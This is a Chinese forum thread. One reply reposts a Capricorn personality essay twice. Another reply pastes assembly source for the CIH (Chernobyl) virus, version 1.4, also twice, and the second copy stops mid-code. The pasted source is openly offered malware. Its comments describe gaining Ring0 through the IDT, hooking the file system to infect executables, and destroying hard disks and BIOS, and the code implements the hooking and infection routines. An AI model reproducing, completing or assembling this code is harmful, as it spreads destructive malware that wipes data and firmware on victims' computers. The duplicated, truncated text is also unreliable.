j*n
2 楼
转载：
我是一个天生好玩的魔蝎仔，但不懂得表达自己的感情.认为自己很成熟,却老是被别人
说是最不成熟的。我外表很阳光，但我觉得自己内心非常冷漠冷酷，我怀疑我会冷酷到
就算我工作附近房子倒塌，我也能安定的呆在原位把要忙的任务做完才去了解究竟发生
什么事。而且很少跟陌生人开玩笑，不想把自己最内心的东西表现出来。即使有不开心
的时候,也很少会说出来.怕别人了解我,更不喜欢别人看穿我.我不是缺乏安全感，而是
我想自己去承担一些事情，因此我只能伪装坚强。
有人说我们魔蝎座是世界上最冷漠的得星座之一，其实想了解魔蝎座很简单，只要你真
心真意的去关心他，主动跟他聊天，很容易将他筑起的保护墙融化。真诚的交流是攻破
我们魔蝎座内心早已筑起的保护墙的武器之一。不是魔蝎座的人不想表达出自己的内心
情绪，而是他们不懂如何表达才对，怕过分敢于表现会得不到他们自己想要的结果，其
实想了解魔蝎座的人内心在想什么，很简单，主要你主动的找话题，慢慢引导把话题聊
开了，魔蝎座的人就会在不知不觉中将他们深处的思想表达出来，这时你只需当一个合
格的听众就可以了。
魔蝎座男孩子的女朋友或者老婆们，如果下次他们再对你们表现得冷漠、爱理不理的时
候，请你们不要远离他们，而是主动去跟他们聊。他们不是不爱你们了，是怕你们不爱
他们了，需要你们主动去找他们。
对付魔蝎座的人最厉害的武器就是主动，除了主动还是主动。因为魔蝎是一个被动的星
座。个人觉得魔蝎仔需要配一个健谈而且主动的MM当女朋友或者老婆，这样才能完全使
他们释放压抑在心中的情绪，这样生活才能更加和谐更加美满。
我是一个天生好玩的魔蝎仔，但不懂得表达自己的感情.认为自己很成熟,却老是被别人
说是最不成熟的。我外表很阳光，但我觉得自己内心非常冷漠冷酷，我怀疑我会冷酷到
就算我工作附近房子倒塌，我也能安定的呆在原位把要忙的任务做完才去了解究竟发生
什么事。而且很少跟陌生人开玩笑，不想把自己最内心的东西表现出来。即使有不开心
的时候,也很少会说出来.怕别人了解我,更不喜欢别人看穿我.我不是缺乏安全感，而是
我想自己去承担一些事情，因此我只能伪装坚强。
有人说我们魔蝎座是世界上最冷漠的得星座之一，其实想了解魔蝎座很简单，只要你真
心真意的去关心他，主动跟他聊天，很容易将他筑起的保护墙融化。真诚的交流是攻破
我们魔蝎座内心早已筑起的保护墙的武器之一。不是魔蝎座的人不想表达出自己的内心
情绪，而是他们不懂如何表达才对，怕过分敢于表现会得不到他们自己想要的结果，其
实想了解魔蝎座的人内心在想什么，很简单，主要你主动的找话题，慢慢引导把话题聊
开了，魔蝎座的人就会在不知不觉中将他们深处的思想表达出来，这时你只需当一个合
格的听众就可以了。
魔蝎座男孩子的女朋友或者老婆们，如果下次他们再对你们表现得冷漠、爱理不理的时
候，请你们不要远离他们，而是主动去跟他们聊。他们不是不爱你们了，是怕你们不爱
他们了，需要你们主动去找他们。
对付魔蝎座的人最厉害的武器就是主动，除了主动还是主动。因为魔蝎是一个被动的星
座。个人觉得魔蝎仔需要配一个健谈而且主动的MM当女朋友或者老婆，这样才能完全使
他们释放压抑在心中的情绪，这样生活才能更加和谐更加美满。
b*h
3 楼
究竟难在哪里？
; Win Cih Source Code
;I m not the dissembler of the code and really I don't know ;who is the
writer or dissembler . Compile or run this program ;at your own risk. Also I
m not giving any guarantee of running ;the program !!!.
;****************************************************************************
; * The Virus Program Information *
;****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
;*==========================================================================*
; * Modification History *
;*==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File ; System.
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.
; * 6. When System Opens Existing PE File, the File will be
; * Infected, and the File doesn't be Re infected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and ; Time
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
;*==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not ; ;
Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
;*==========================================================================*
; * v1.2 1. Kill All Hard Disk, and BIOS... Super... Killer...
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
;*==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs ;
Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
;*==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs ;
Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
;****************************************************************************
.586P
;****************************************************************************
; * Original PE Executable File (Don't Modify this Section) *
;****************************************************************************
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; **************************************************************************
**
; * My Virus Game *
; **************************************************************************
**
; *********************************************************
; * Constant Define *
; *********************************************************
TRUE = 1
FALSE = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
ELSE
FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, [email protected][ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, [email protected][ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h
xchg edi, eax ; EDI = SystemMemory Start Address
lea eax, [email protected][esi]
iretd ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, [email protected][edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, [email protected][esi]
mov edx, [ecx]
mov [email protected][eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, [email protected][eax]
mov [ecx], eax
cli
jmp ExitRing0Init
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, [email protected] ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call [email protected][ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call [email protected][ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, [email protected]
; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr ([email protected])[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr ([email protected])[esi] ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
; mov esi, offset FileNameBuffer
add esi, [email protected]
push esi
mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr ([email protected])[esi]
mov edi, [edi]
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, [email protected] ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
; ***************************
; * Get 'PE
; Win Cih Source Code
;I m not the dissembler of the code and really I don't know ;who is the
writer or dissembler . Compile or run this program ;at your own risk. Also I
m not giving any guarantee of running ;the program !!!.
;****************************************************************************
; * The Virus Program Information *
;****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
;*==========================================================================*
; * Modification History *
;*==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File ; System.
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.
; * 6. When System Opens Existing PE File, the File will be
; * Infected, and the File doesn't be Re infected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and ; Time
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
;*==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not ; ;
Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
;*==========================================================================*
; * v1.2 1. Kill All Hard Disk, and BIOS... Super... Killer...
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
;*==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs ;
Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
;*==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs ;
Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
;****************************************************************************
.586P
;****************************************************************************
; * Original PE Executable File (Don't Modify this Section) *
;****************************************************************************
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; **************************************************************************
**
; * My Virus Game *
; **************************************************************************
**
; *********************************************************
; * Constant Define *
; *********************************************************
TRUE = 1
FALSE = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
ELSE
FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, [email protected][ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, [email protected][ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
push 00000000fh ;
push ecx ;
